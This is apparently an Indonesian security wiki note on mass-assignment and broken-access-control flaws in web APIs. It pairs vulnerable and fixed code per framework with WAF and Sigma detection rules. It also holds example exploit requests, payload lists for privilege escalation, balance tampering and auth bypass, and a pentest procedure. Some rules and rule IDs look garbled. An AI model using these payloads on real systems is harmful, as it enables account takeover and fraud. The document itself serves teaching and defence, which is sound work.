πŸ”“ Mass Assignment & Broken Access Control β€” Attack + Defense Deep Dive

Inti Mass Assignment: Attacker mengirim field yang TIDAK diminta di HTTP request body ke API. Framework yang naif bind langsung ke model internal tanpa validasi β†’ field sensitif (is_admin, role, balance, password_hash) bisa dimodifikasi. Ini sub-kategori Broken Access Control (OWASP A01:2021) β€” bukan injection, bukan XSS, tapi attribute-level privilege escalation.

Posisi di Vault

Terhubung dengan api-security-deep-dive (attack surface API), web-hacking-exploitation (CTF exploitation), waf-reverse-proxy-deepdive (WAF protection layer), identity-and-access-management (IAM/RBAC), dan owasp-api-security-top-10 (API-specific threats).


Daftar Isi


1. Fundamental β€” Kenapa Mass Assignment Bisa Terjadi

1.1 The Problem

FRONTEND                     BACKEND                       DATABASE
─────────                    ───────                       ────────
POST /api/users              Auto-bind to User model       UPDATE users
{                            tanpa whitelist field          SET name,
  "name": "Azhar",                                         email,
  "email": "a@b.com",                                      is_admin
  "is_admin": true    ← field tidak diminta!
}
                                                    `is_admin = true`
                                                    tersimpan ⚠️
 
PROBLEM: Backend membaca body => body di-set ke model => model.save()
         Tanpa filter field => client bebas set atribut apa pun.
FrameworkDefault Auto-bindBerbahaya?Skema Mitigasi
Django Pythonβœ… YaYa, kalau tidak pakai exclude atau fields di serializerDRF Meta.fields, Meta.exclude, serializer.validated_data
Spring Boot (Java)βœ… YaYa, kalau @ModelAttribute@JsonProperty(access = READ_ONLY), DTO pattern, @Valid + @JsonIgnore
Express.js (Node)βœ… Default req.body β†’ langsung bindSering β€” via Mongoose ODM atau langsungDTO validasi, whitelist fields via Joi/Zod
Ruby on Railsβœ… Yes! (default sejak 2005)Sangat bila no strong paramsparams.require(:user).permit(:name, :email)
Laravel (PHP)βœ… Eloquent mass assignment protectionTidak β€” protection built-in$fillable / $guarded di Model
ASP.NET Coreβœ… Auto-bind via [FromBody]Kalau DTO gak ada whitelist[BindRequired] + [JsonIgnore]

1.2 Tiga Syarat Agar Exploitable

1️⃣ Request mengandung field yang TIDAK ada di form/DTO yang diwhitelist
2️⃣ Backend tidak melakukan validasi / filtering per-field
3️⃣ Database menyimpan field tersebut dengan hak pengguna yang mudahable (atau dibaca oleh attacker)

Tidak semua framework rentan sama sekali β€” Laravel punya $guarded, DRF punya Meta.fields. Tapi default behavior sering longgar β†’ developer lupa whitelist β†’ exploitable.


2. Mekanisme Serangan β€” Per Framework

2.1 Django REST Framework (Python)

# models.py
class User(models.Model):
    username = models.CharField(max_length=100)
    email = models.EmailField()
    password = models.CharField(max_length=128)
    is_admin = models.BooleanField(default=False)  # ⚠️ sensitif
    balance = models.DecimalField(max_digits=10, decimal_places=2, default=0)
 
# serializers.py β€” ❌ Masalah: auto-whitelist
class UserSerializer(serializers.ModelSerializer):
    class Meta:
        model = User
        fields = '__all__'  # πŸ‘ˆ pisahkan semua field di-expose tanpa whitelist
        # fields = ['username', 'email']  πŸ‘ˆ BENAR

Exploit:

PATCH /api/users/me/ HTTP/1.1
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJSUzI1NiIs...
 
{
  "username": "attacker",
  "email": "attacker@evil.com",
  "is_admin": true              // ← akan ditulis
}

Response (200 OK):

{
  "username": "attacker",
  "email": "attacker@evil.com",
  "is_admin": true,
  "balance": 0
}

Attacker sekarang bisa akses admin panel, BACA semua data, EXPORT, dsb.

2.2 Spring Boot REST API (Java)

// User.java β€” Entity
@Entity
public class User {
    @Id @GeneratedValue
    private Long id;
    private String username;
    private String email;
    private boolean isAdmin;  // ⚠️
 
    // getter & setter dihasilkan oleh Lombok
}
 
// UserController.java β€” ❌ Berbahaya
@RestController
@RequestMapping("/api/users")
public class UserController {
    @Autowired UserRepository userRepo;
 
    @PutMapping("/{id}")
    public User updateUser(@PathVariable Long id, @RequestBody User updated) {
        return userRepo.save(updated);  // ← semua field dari body tersimpan
    }
}

Exploit:

PUT /api/users/2 HTTP/1.1
Content-Type: application/json
 
{
  "username": "attacker",
  "email": "attacker@evil.com",
  "isAdmin": true
}

2.3 Express.js + Mongoose (Node.js)

// ❌ Berbahaya β€” Mongoose langsung
app.put("/api/users/:id", async (req, res) => {
  const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true })
  //                                      ^^^^^^^^ semua field dari req.body
  res.json(user)
})

Payload:

{
  "role": "admin",
  "password_reset_token": "",
  "failedLoginAttempts": 0
}

2.4 Ruby on Rails β€” Strong Parameters

# ❌ Vulnerable β€” sebelum strong params (Rails 3.x)
def update
  @user.update(params[:user])  # ← semua params mass-assignable
 
  # βœ… Rails 4+ Strong Parameters
  def user_params
    params.require(:user).permit(:username, :email)
  end
 
  @user.update(user_params)
end

Payload bypass:

PUT /users/42.json
{"user": {"username": "attacker", "email": "attacker@evil.com", "role": "admin"}}
#                                    forwarded semua params ke model β–‰]

3. Attack Payloads β€” Real-World Scenarios

3.1 Privilege Escalation (Admin)

Target: Role/Group/Admin field.

// A) E-commerce
{"role": "admin"}
{"permissions": ["*"]}
{"is_staff": true}
{"type": "administrator"}
 
// B) Banking / Fintech
{"kyc_verified": true}
{"credit_limit": 9999999}
{"withdrawal_limit": null}  // artinya unlimited
 
// C) CMS / Blog
{"author_type": "moderator"}
{"approval_required": false}

3.2 Financial Account Manipulation

// E-wallet / Payment API
{"balance": 10000000}
{"currency": "USD", "amount": 9999999}
{"bonus_points": 50000}
 
// Berbasis subscription
{"subscription_plan": "enterprise"}
{"trial_end": "2030-01-01T00:00:00Z"}
{"discountPercent": 100}

3.3 Authentication Bypass

POST /api/auth/register
{"username": "newuser", "password": "password123", "isVerified": true, "emailConfirmed": true}

Token verification jadi mana gunanya β€” atribut langsung diset ke true.

3.4 Sensitive Field Reset

{
  "failed_login_attempts": 0,
  "locked_until_date": null,
  "two_factor_enabled": false,
  "password_reset_required": false
}

3.5 Database Properties Manipulation

PATCH /api/organizations/5
{"max_users": 999999}
{"storage_limit_gb": 99999}
{"features": ["all", "unlimited"]}

4. Chain β€” Dari Mass Assignment ke BAC (Broken Access Control)

4.1 Relationship

Mass Assignment ──── sub-kategori dari ──── Broken Access Control
                                                                     β”‚
                                              β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                              β–Ό
                                    BAC = wider category
                                              β”‚
                                              β–Ό
                                  + Insecure Direct Object Reference (IDOR)
                                  + Vertical/Horizontal Bypass
                                  + Access Token Mismanagement

Berbeda:

  • Mass Assignment = client terlalu banyak field di-overwrite (atribut-level)
  • IDOR / Horizontal BAC = client ganti id β†’ data user lain (record-level)
  • Vertical BAC = client tanpa admin role akses admin panel

Seringkali digabung: Misconfig Mass Assignment + Masih vulnerable Lakukan IDOR β†’ Baca/menulis data user lain.

4.2 Chain Example: Mass Assignment β†’ Horizontal Prv Esc β†’ Persistent XSS β†’ Credential Theft

AKARNYA ada Failed ACL model + Too Permissive Model Binding:

Step 1: Mass Assignment β†’ is_admin: true  (kalau field tidak dizinkan)
Step 2: Gunain admin akses untuk lihat user lain (IDOR) di /api/admin/users/{id}
Step 3: Temukan user dengan stored XSS payload di memo_prosedur
Step 4: Trigger stored XSS β†’ pengguna admin lain execute β†’ token ter-curi

5. Defense β€” Layer by Layer

5.1 Layer 1: Backend β€” Prevent (Data Layer)

Django REST (Python)

# βœ… Whitelist approach β€” Metafields
class UserSerializer(serializers.ModelSerializer):
    class Meta:
        model = User
        fields = ['username', 'email', 'balance']  # ← whitelist
        # atau read_only field untuk field sensitif
        read_only_fields = ['is_admin', 'permissions', 'id']
 
    def update(self, instance, validated_data):
        # hanya memproses validated data, bukan request.data langsung
        return super().update(instance, validated_data)

Spring Boot savefy

// βœ… DTO Pattern β€” Structural whitelist
@RestController
@RequestMapping("/api/users")
public class UserController {
    @PatchMapping("/{id}")
    public UserResponse updateUser(
            @PathVariable Long id,
            @Valid @RequestBody UserUpdateDTO dto
    ) {
        return userService.updateFromDTO(id, dto); // hanya fields di DTO yang bisa barubah
    }
}
 
// DTO hanya berisi field yang bisa di-update
public record UserUpdateDTO(String username, String email) {}

Node.js + Mongoose Protected

router.patch("/api/users/:id", async (req, res) => {
  const allowedFields = ["username", "email", "phone"]
  const updateFields = Object.keys(req.body)
    .filter((key) => allowedFields.includes(key))
    .reduce((acc, key) => {
      acc[key] = req.body[key]
      return acc
    }, {})
 
  if (Object.keys(updateFields).length === 0) {
    return res.status(400).json({ error: "No valid fields provided" })
  }
 
  await User.findByIdAndUpdate(req.params.id, updateFields, { runValidators: true })
 
  // βœ… 'role', 'isAdmin', 'permissions' tidak bisa diubah walaupun ada di req.body
})

5.2 Layer 2: WAF β€” Detection Rules

CRS (OWASP ModSecurity) β€” Rule 942150

# CRS rule 942150 menangkap ARGS:role, ARGS:admin, perms di HTTP body
# Belum spesifik Mass Assignment β€” berlakunya untuk semua SQLi/xpath

Custom WAFβ€” Coraza/Apache fails

requestBodyAccess On
 
# Deteksi Payload Sensity
SecRule REQUEST_BODY "(\"?(isadmin|permissions|roleaccount|auditlaff\b)" \
  "phase:2,block,id:9001,msg:'Mass Assignment attack: role/admin field detected'"

5.3 Layer 3: Penetration Test Technique

1. Ambil semua endpoint PATCH/POST/PUT dari API Doc/Swagger
   curl -s https://api.target.com/swagger/v1/swagger.json | jq '.paths | keys'
2. Untuk tiap endpoint PATCH: Extract registered fields
   get /api/users/me/ (as current user) β†’ json schema
3. Coba tambahkan field yang tidak ada di form
   payload = original_response | jq '. + {is_admin: true, role: "admin"}'
4. Kirim balik sebagai PUT/PATCH
   curl -X PATCH https://api.target.com/api/users/me/
        -H "Authorization: Bearer USER_TOKEN"
        -d '{"name": "user", "is_admin": true}'
5. Verifikasi: GET /api/users/me/ API, jika is_admin yang di terima→vulnerable

6. WAF Ruleset β€” Mass Assignment Detection

6.1 Rapih

WAFRule IDDeskripsiFields Detected
CRS (core)921150HTTP Parameter Pollution (bypass)Jenis parameter+body
Crop CRS 3.x920480Mass Assignment attempt (custom)is_admin, role
Cloudflare WAFCustomMass assignment (business logic)Budget, discount, role
AWS WAFCustomRate-based+payload blockSemua field request

6.2 Sigma Rule

title: "Mass Assignment Attempt Detected"
id: 34f2c2e3-4d4f-44c2-88e4-8e4d2e1f5d3a
status: experimental
description: "Detects HTTP PATCH/POST request with privileged field not expected for user role. This may be mass assignment."
logsource:
  category: webserver
detection:
  selection:
    cs-method: ["PATCH", "POST", "PUT"]
    cs-uri-query: ["/api/users/", "/api/profile/", "/api/account/"]
    cs-body|contains:
      - "is_admin"
      - "isAdmin"
      - '"role'
      - '"username'
      - '"permissions'
      - '"balance'
  condition: selection
level: medium

7. Exploitation Chain β€” Attack Flow

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚          MASS ASSIGNMENT ATTACK FLOW                    β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                          β”‚
β”‚ 1. Reconnaissance                                        β”‚
β”‚    β”‚ Get API Schema via Swagger // OpenAPI               β”‚
β”‚    β”‚ GET /api/users/me/ β†’, mem Delta field              β”‚
β”‚    └─ β†’ Dapat schema fields di response               β”‚
β”‚                                                          β”‚
β”‚ 2. Analysis = Identify hidden model fields               β”‚
β”‚    β”‚ Di developer velumnya, ada:                         β”‚
β”‚    β”‚ `is_admin`, `permissions`, `role_id`, `credit`     β”‚
β”‚    └─ β†’ Field di konteks ekspose?                     β”‚
β”‚                                                         β”‚
β”‚ 3. Probe β€” POST/PUT aggregator                          β”‚
β”‚    β”‚ POST /api/users/register with payload `is_admin`  β”‚
β”‚    β”‚ PATCH /api/users/me/ with payload `comments`    β”‚
β”‚    β”‚ PATCH /api/invoices/5 payload `discount_30%`    β”‚
β”‚    └─ β†’ Lihat response: 200=ok, 500=rare, 403=.  β”‚
β”‚                                                          β”‚
β”‚ 4. Exploit β€” Stagger                                    β”‚
β”‚    β”‚ PATCH endpoint yang permissif                      β”‚
β”‚    β”‚ with {"is_admin": true}                    β”‚
β”‚    β”‚ Verifikasi via GET                                β”‚
β”‚    └─ β†’ Mendapat awareness di respons nantiβ”‚
β”‚                                                       β”‚
β”‚    |β€”β–Ά Secondary: Exploit admin access untuk lanjut   β”‚
β”‚         β€’ Lihat log/user lain                           β”‚
β”‚         β€’ Inject stored XSS                             β”‚
β”‚         β€’ Reset seemsi user lain*
β”‚         β€’ Tarik semua database via admin API             β”‚
β”‚                                                          β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

8. Defensive Code β€” Untuk Setiap Framework

Laravel

// Model Whitelist
class User extends Model {
    protected $fillable = ['name', 'email']; // Hanya ini bisa di-update
    // atau
    protected $guarded = ['id', 'is_admin', 'password']; // Insensitive, tidak bisa di-update
}
 
// Controller aman
User::find($id)->update($request->only('name', 'email'));

Next.js / tRPC (TypeScript)

const schema = z.object({
  username: z.string().min(3),
  email: z.string().email(),
})
// Auto memahami field lainnya; explicit
export const updateUser = protectedProcedure.input(schema).mutation(async ({ ctx, input }) => {
  return db.user.update({
    where: { id: ctx.session.user.id },
    data: input, // ini hanya akan menjadi `username` dan `email`
  })
})

9. WAF Logs β€” Arti Session

Ketika WAF menangkap mass assignment:

[05/Dec/2025:14:23:45 +0000] "PATCH /api/users/me/ HTTP/1.1" 403 98 "-"
[req payload] {"username":"attacker","email":"attacker@evil.com","is_admin":true}
Rule triggered: 942230 fields in body (role, is_admin, permissions)

10. Pentesting Checklist (Red Team)

☐ ApiDoc swagger/OpenAPI Schema enum semua PATCH endpoint
☐ Ambil response normal dari GET endpoint user profile
☐ Append field sensitif (is_admin, role, credit, membership)
☐ PATCH payload response 200? Jika iya β†’ Vulnerable
β–‘ Coba POST /register endpoint dengan is_admin:true
☐ Verifikasi: GET endpoint aktif field yang diubah
☐ Ulangi untuk endpoint: /profile, /account, /subscriptions, /organizations
β–‘ Cek endpoint admin? Coba POST dengan role yg kurangaccessible
β–‘ Pada REST ->| JSON non-sensitif tapi valuenya masih$$ => {"role": "moderator"} atau {"subscription_level":"enterprise"}
β–‘ Cek response kalauberat- method DELETE/publish endpoint
β–‘ Periksa pada GET/PATCH endpoint list admin: apakah menampilkan user lain?
β–‘ Apakah endpoint /pricing bisa diubah? {"price": 0}

πŸ”— Lihat Juga


Referensi


Dibuat: 19 Juli 2026 β€” Deep dive attack mass assignment & OWASP Broken Access Control architecture.